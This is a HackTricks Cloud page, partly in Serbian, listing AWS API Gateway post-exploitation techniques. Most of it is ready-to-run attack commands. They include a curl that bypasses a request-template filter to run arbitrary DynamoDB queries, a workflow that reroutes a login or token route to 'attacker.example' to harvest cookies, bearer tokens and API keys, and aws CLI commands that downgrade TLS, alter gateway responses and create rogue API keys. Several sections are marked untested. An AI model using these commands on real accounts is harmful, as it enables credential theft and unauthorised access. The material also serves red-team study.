AWS - API Gateway Post Exploitation
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
API Gateway
Za više informacija pogledajte:
Pristup neizloženim API-jevima
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.
Bypass Request body passthrough
Ova tehnika je pronađena u this CTF writeup.
Kao što je navedeno u AWS documentation u sekciji PassthroughBehavior, podrazumevano, vrednost WHEN_NO_MATCH, pri proveri Content-Type headera zahteva prosleđuje zahtev na backend bez transformacije.
Dakle, u CTF-u API Gateway je imao integration template koji je preventing the flag from being exfiltrated u odgovoru kada je zahtev poslat sa Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Međutim, slanje request-a sa Content-type: text/json bi zaobišlo taj filter.
Na kraju, pošto je API Gateway dozvoljavao samo Get i Options, bilo je moguće poslati proizvoljan dynamoDB query bez ikakvog ograničenja tako što bi se poslao POST request sa query-jem u body-ju i korišćenjem header-a X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
U odeljku Enumeration možete videti kako da dohvatite plan upotrebe ključeva. Ako posedujete ključ i on je ograničen na X korišćenja po mesecu, možete ga jednostavno koristiti i izazvati DoS.
The API Key just need to be included inside a HTTP header called x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Ako možete da ažurirate HTTP API integration, možete repoint osetljivu rutu (npr. /login, /token, /submit) na HTTP endpoint kojim kontroliše napadač i tiho prikupiti zaglavlja i tela zahteva (cookies, Authorization bearer tokens, session ids, API keys, secrets koje šalju interni jobovi, itd.).
Primer workflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Beleške:
- Za HTTP APIs, promene obično stupaju na snagu odmah (za razliku od REST APIs, gde obično morate kreirati deployment).
- Da li možete da ukažete na proizvoljan URL zavisi od integration type/config; u nekim slučajevima možete i promeniti integration type prilikom patching-a.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Napadač sa dozvolama apigateway:UpdateGatewayResponse i apigateway:CreateDeployment može izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvršavaju zlonamerne skripte.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
Note
Potrebno testiranje
apigateway:UpdateStage, apigateway:CreateDeployment
Napadač koji ima dozvole apigateway:UpdateStage i apigateway:CreateDeployment može izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni postavke keširanja kako bi neovlašćeno pristupio keširanim podacima.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja.
Note
Potrebno testiranje
apigateway:PutMethodResponse, apigateway:CreateDeployment
Napadač koji ima dozvole apigateway:PutMethodResponse i apigateway:CreateDeployment može izmeniti odgovor metode (method response) postojećeg API Gateway REST API metoda tako da uključi prilagođena zaglavlja ili šablone odgovora koji leak osetljive informacije ili izvršavaju zlonamerne skripte.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: curenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup resursima API-ja.
Note
Potrebno testiranje
apigateway:UpdateRestApi, apigateway:CreateDeployment
Napadač sa dozvolama apigateway:UpdateRestApi i apigateway:CreateDeployment može izmeniti podešavanja API Gateway REST API-ja da onemogući logovanje ili promeni minimalnu TLS verziju, potencijalno oslabljujući bezbednost API-ja.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Oslabljivanje bezbednosti API-ja, potencijalno omogućavajući neovlašćen pristup ili otkrivanje osetljivih informacija.
Note
Potrebno testiranje
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Napadač koji ima dozvole apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, i apigateway:CreateUsagePlanKey može kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti ove keys za neovlašćen pristup API-ima.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potencijalni uticaj: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
Note
Potrebno testiranje
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

